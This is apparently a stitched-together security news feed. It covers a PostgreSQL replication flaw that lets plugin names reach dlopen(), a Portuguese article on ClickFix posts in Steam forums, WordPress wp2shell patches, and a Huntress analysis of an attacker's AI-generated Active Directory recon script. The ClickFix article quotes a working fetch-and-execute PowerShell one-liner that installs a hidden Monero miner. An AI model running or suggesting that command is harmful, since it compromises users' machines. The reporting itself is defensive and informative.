PostGREShell (CVE-2026-6471) is a 12-year-old PostgreSQL flaw that lets low-privileged attackers execute code and take over servers.

Cyera researchers found a severe PostgreSQL vulnerability, dubbed PostGREShell and tracked as CVE-2026-6471 (CVSS score of 7.2). Present in releases dating back to 2014, the flaw can be exploited by attackers with low-level replication access to execute code, escalate privileges and gain permanent superuser access.

“Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin.” reads the advisory. “This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.”

Attackers could also install a persistent backdoor in the database, potentially leading to a full takeover of the database and underlying server. PostgreSQL is widely used by enterprises worldwide.

PostgreSQL fixed CVE-2026-6471 in versions 18.6, 17.11, 16.15, 15.19, and 14.24.

The flaw is caused by missing authorization in PostgreSQL’s logical decoding feature. An attacker with “Replication” privileges could abuse a logical decoding plugin to load any file that the operating system account running PostgreSQL can access.

PostgreSQL uses a dedicated replication system to keep database replicas in sync for backup and recovery. To do this, backup tools, servers, data pipelines and monitoring systems are typically given an account with Replication privileges.

“The flaw lets a low-privilege “backup” account load and execute arbitrary code on the database server, achieving remote code execution across Windows, Linux, and macOS. That foothold escalates to full PostgreSQL superuser with persistent backdoor access, turning a routine replication account into total database and server compromise.” reads the report published by Cyera. “The vulnerability has existed in every PostgreSQL version since 2014 (9.4+) and was never patched until now.”

During logical replication, PostgreSQL records database changes as events that external tools can read. These tools create a logical replication slot and specify an output plugin, which PostgreSQL loads to format and deliver the changes.

When PostgreSQL loads a plugin, it runs the plugin’s initialization code with the same privileges as the database server. To prevent abuse, non-superusers are normally allowed to load plugins only from a directory controlled by an administrator.

PostgreSQL does not properly check the plugin name before passing it to the loader. This means an attacker could provide a full path to a file on the system. PostgreSQL then passes that path to dlopen(), the C/C++ function used to load shared libraries.

“When PostgreSQL loads the output plugin, the name from the user’s CREATE_REPLICATION_SLOTcommand is passed directly to the loader. No validation, no sanitization, no restriction check. The SQL LOADcommand, by contrast, passes a !superuser()flag that triggers the path validation. The replication path passes nothing. And the replication protocol’s parser accepts almost any character inside a double-quoted plugin name: slashes, backslashes, dots, ../ traversal, even Windows UNC paths.” Cyera states. “So an attacker can hand the loader a full filesystem path, and it reaches dlopen() (Linux/macOS) or LoadLibrary()(Windows) exactly as typed. The whole bug is code execution via dlopen().”

Once obtained, permanent superuser privileges, the attackers can access every table in every database, execute commands on the operating system, read private keys, and write files anywhere the PostgreSQL process can access.

PostGREShell can give attackers persistent backdoor access, including passwordless connections and restored superuser privileges. The flaw affects PostgreSQL 9.4–18.

Organizations should update their instances as soon as possible, review all Replication accounts, and remove the Replication attribute from accounts that do not need it.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, CVE-2026-6471)

Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.

Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.

ClickFix chega aos fóruns da Steam

Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.

O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.

Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte

Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.

A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.

Entenda rapidamente: o que realmente existe por trás do comando irm | iex

Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:

irm msfconfig.icu | iex

Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.

Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:

1. irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
2. icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
3. iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.

Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.

Um minerador de criptomoedas, não uma ferramenta de otimização

Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.

O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte

Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.

Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.

O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.

Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.

Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.

Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares

Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.

Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?

• Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
• Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
• Use uma solução de segurança confiável com modo de jogo que detecte a tempo tentativas de download de malware e impeça sua execução.
• Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.

Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:

• Stealka: o novo ladrão de dados por trás de cheats, mods e cracks de jogos
• Vulnerabilidade no mecanismo de jogos Unity
• Gamers sob ataque: malware em sites oficiais
• Malware Arcane no lugar de cheats do Minecraft
• Cuidado, jogadores: cavalos de Troia invadiram o Steam

NVIDIA patched 20 NemoClaw and OpenShell flaws. The worst, CVE-2026-65093 (CVSS 9.9), enables code execution via sandbox escape. Update now.

Related Posts:

• GitLab Updates Fix Arbitrary Command Execution Vulnerability
• FreeBSD Patches Eight Kernel Vulnerabilities
• UniFi CVE-2026-77537 (CVSS 10.0): Command Injection Flaws Hit 22 Ubiquiti Products

The post NVIDIA NemoClaw and OpenShell: CVE-2026-65093 (CVSS 9.9) Enables Code Execution appeared first on Daily CyberSecurity.

The Clop web shell targets PTC Windchill via CVE-2026-12569, stealing credentials and engineering data in a mass-extortion campaign.

Related Posts:

• WordlistLoader Delivers Amatera Stealer Through ClearFake Campaigns
• C2Looper: Rust Backdoor Uses GitHub for C2 Control
• Manic Android Malware Steals Data Without Active Internet

The post Clop Deploys Custom Web Shell in PTC Windchill Extortion Attacks appeared first on Daily CyberSecurity.

A Head Mare TrueConf attack chains two zero-days to install the PhantomCore backdoor via a trojanized client.

Related Posts:

• DEF CON Attendee Suspected in Fake WiFi Attack Targeting Delta Flight 591 Passengers
• UNC6671 Vishing Extortion Rebrands Across 5 Brands
• Lazarus Exploits Windows Zero-Day in Operation Dream Job Attacks

The post Head Mare APT Exploits TrueConf Server Flaws to Deploy PhantomCore Backdoor appeared first on Daily CyberSecurity.

Storm-2945 Uses Hospitality Networks to Target Travelers 

Credential Theft and Malware Deployment 

AI-Assisted Malware and Centralized Control

Microsoft's Defensive Guidance

Security researchers warn hackers are actively exploiting two patched WordPress Core vulnerabilities that could let attackers fully compromise unpatched websites.

The post Hackers Already Exploiting Newly Patched WordPress Flaws, Researchers Warn appeared first on TechRepublic.

Public exploits are now available for two critical WordPress flaws that attackers can chain to gain remote code execution without authentication.

Public proof-of-concept exploits are now available for the critical wp2shell vulnerabilities affecting WordPress Core. The flaws, tracked as CVE-2026-63030 and CVE-2026-60137, can be chained to achieve pre-authentication remote code execution on default WordPress installations running versions 6.9.x and 7.0.x.

CVE-2026-63030 is a REST API batch-route confusion bug introduced in WordPress 6.9. CVE-2026-60137 is a high-severity SQL injection flaw in the author__not_in parameter of WP_Query, affecting.

“The 7.0.2 security release addresses one critical and one high severity security issue.” reads the WordPress announcement.

“Because this is a security release, it is recommended that you update your sites immediately. Due to the severity, the WordPress.org team have enabled forced updates via the auto-update system for sites running affected versions.”

Cybersecurity researchers at Searchlight Cyber discovered the flaws that can allow remote attackers to compromise vulnerable sites without valid credentials, making immediate patching essential.

“Searchlight Cyber’s security research team has discovered a pre-authentication RCE in WordPress Core. The attack has no preconditions and can be exploited by an anonymous user in a stock install of WordPress with no plugins.” reads the advisory. “It is estimated that over 500 million websites use WordPress.”

Researchers withheld technical details to give organizations time to patch, but released an online tool to help administrators check whether their WordPress instances are vulnerable.

Searchlight Cyber’s security research team estimated that over 500 million websites use WordPress. They are releasing a checker so admins can determine whether their instance is vulnerable.

WordPress has enabled forced automatic security updates for affected supported versions because of the severity of the flaws. The full RCE exploit chain affects WordPress versions 6.9.0–6.9.4 and 7.0.0–7.0.1, according to WordPress security advisories.

Site owners should update immediately to WordPress 7.0.2 or 6.9.5, which prevent the exploitation of the wp2shell attack chain.

If patching is not possible, administrators can temporarily reduce risk by blocking anonymous access to the REST API batch endpoint through a security plugin or WAF rules targeting /wp-json/batch/v1 and ?rest_route=/batch/v1.

Searchlight states that these measures are only temporary and may affect legitimate site functions, so updating remains the preferred solution.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, newsletter)

Huntress found an AI-generated PowerShell script used for AD reconnaissance, showing attackers are using AI to create custom, evasive tools.

During an incident response investigation on June 3, 2026, Huntress analyst Jevon Ang recovered a PowerShell script from a compromised Windows Server that the attacker had used to map out the victim’s Active Directory environment. The script hadn’t been downloaded from a public repository or pulled from a known offensive toolkit. It was custom-built, almost certainly by prompting an AI model until the output worked. Huntress researchers reconstructed the full script from PowerShell script block logging, specifically Event ID 4104 in the Microsoft-Windows-PowerShell/Operational log.

“The script, enthusiastically titled “100% Working AD Information Gathering Script – FULLY FIXED”, is a highly aggressive, noisy, custom-built AD enumeration tool. It doesn’t try to hide its functions, and has a number of distinct and interesting phases.” reads the report published by Huntress.

The attack itself wasn’t particularly novel. The threat actor gained RDP access using pre-compromised credentials, staged tools in C:\ProgramData, ran the custom recon script within minutes of establishing the session, then roughly thirty minutes later deployed s5cmd.exe, a legitimate Amazon S3 command-line tool that Huntress has seen repeatedly abused for data theft. A second pass with SharpShares.exe followed, hunting for additional data repositories.

“One thing to emphasize here is that AI isn’t changing the game by any means during this incident. The underlying attack chain still resembles the tried-and-tested smash-and-grab playbook we’ve seen for years.” continues the report.”This core methodology has remained consistent, but it is now being selectively augmented by AI. This hybrid approach prioritises aggression and speed over stealth, allowing threat actors to execute highly damaging campaigns faster than ever.”

The PowerShell file was named Untitled1.ps1, which is what you get when someone copies code out of an AI chat window and saves it without renaming it. The script’s internal title is “100% Working AD Information Gathering Script – FULLY FIXED,” which is a textbook artifact of someone iterating with an AI, hitting errors, pasting those errors back into the chat, and eventually copying out whatever the model produced when it stopped failing. The title isn’t something a human writing their own tool would choose. It’s the label an AI puts on the version that finally passed testing.

The script opens by identifying the domain controller through five separate methods in sequence: DNS lookup, nltest, the Active Directory PowerShell module, environment variables, and finally a hardcoded fallback. A human writing a recon script picks one or two reliable methods. An AI told “make sure it doesn’t fail to find the DC” will exhaustively generate every approach in its training data.

“The five distinct methods to find a Domain Controller scream “AI generation”. A human writing this script would typically pick the best one or two methods. An LLM, when told “make sure it doesn’t fail to find the DC,” will exhaustively generate every method in its training data.” states Huntress.

The most damning single detail is a hardcoded fallback value in that DC discovery block: $dc = "Server1.HR.local". That’s a literal placeholder the AI included as an example, and the attacker copied the script without editing it. The variable would only matter if all four preceding discovery methods failed simultaneously, so it likely never fired, but it was still there, unchanged, in the deployed payload.

Once it located the domain controller, the script ran a structured dump of Active Directory users, computers, groups, organizational units, subnets, domain trusts, DNS subnet records, and a filtered list of users with email addresses. Everything landed in a timestamped directory under C:\AD_Reports_, saved as CSV files.

The script then generated a formatted HTML summary report of the collection, which Huntress notes is almost certainly an unsolicited addition from the AI rather than something the attacker specifically asked for.

“The final phase of the script is surprisingly focused on presentation. Instead of simply zipping the CSV files and exiting, it writes an entire HTML file to summarise the data theft.” states the report. “Why does a threat actor need a beautiful HTML report, you ask? We thought the same. It’s likely a “helpful” inject from the LLM that the attacker simply went along with, rather than being intentionally authored into the script.”

After creating the report, the script zipped everything into a single archive. A threat actor who wanted to understand why their recon output looked the way it did could open a nicely formatted HTML file and find out. Nice touch.

The practical challenge for defenders is that Untitled1.ps1 has never existed before and won’t exist again in the same form. Traditional endpoint detection and antivirus tools rely heavily on file hashes and static string signatures. A known tool like SharpHound gets caught immediately because the binary is recognized. A script generated fresh by an AI for a specific incident has no hash to match against.

“Vibe coding lowers the barrier to entry for cybercrime, allowing unsophisticated actors to generate highly capable, evasive tooling on the fly. While the code itself may be messy, over-engineered, and filled with AI hallmarks like left-behind comments, the threat it poses is very real.” continues the report. “To combat this, defenders must abandon rigid, signature-based thinking and embrace behavioral analytics to catch the underlying actions that no LLM can hide.”

The answer isn’t to try to detect AI-generated code, which isn’t reliably distinguishable from human-written code at the binary level. The answer is to focus on what the code does at runtime rather than what it looks like on disk. Active Directory enumeration using Get-ADUser -Filter * against a domain controller, followed by bulk CSV exports, followed by ZIP archive creation in a staging directory, is the same sequence regardless of whether a human or an AI wrote the script that performs it. The behaviors are detectable. Huntress’s SIEM caught the activity through behavioral telemetry rather than file signatures. The attacker had a custom, never-before-seen script. The defenders still saw it.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, AI)

Overview On February 11, 2026, NSFOCUS CERT monitored Microsoft’s release of its February security update patches, addressing 59 security issues across widely used products such as Windows, Azure, Microsoft Office, and Visual Studio Code. These vulnerabilities include privilege escalation, remote code execution, and other high-risk vulnerabilities. In this monthly update, 5 vulnerabilities are rated as […]

The post Microsoft’s February Security Update of High-Risk Vulnerability Notice for Multiple Products appeared first on NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks..

The post Microsoft’s February Security Update of High-Risk Vulnerability Notice for Multiple Products appeared first on Security Boulevard.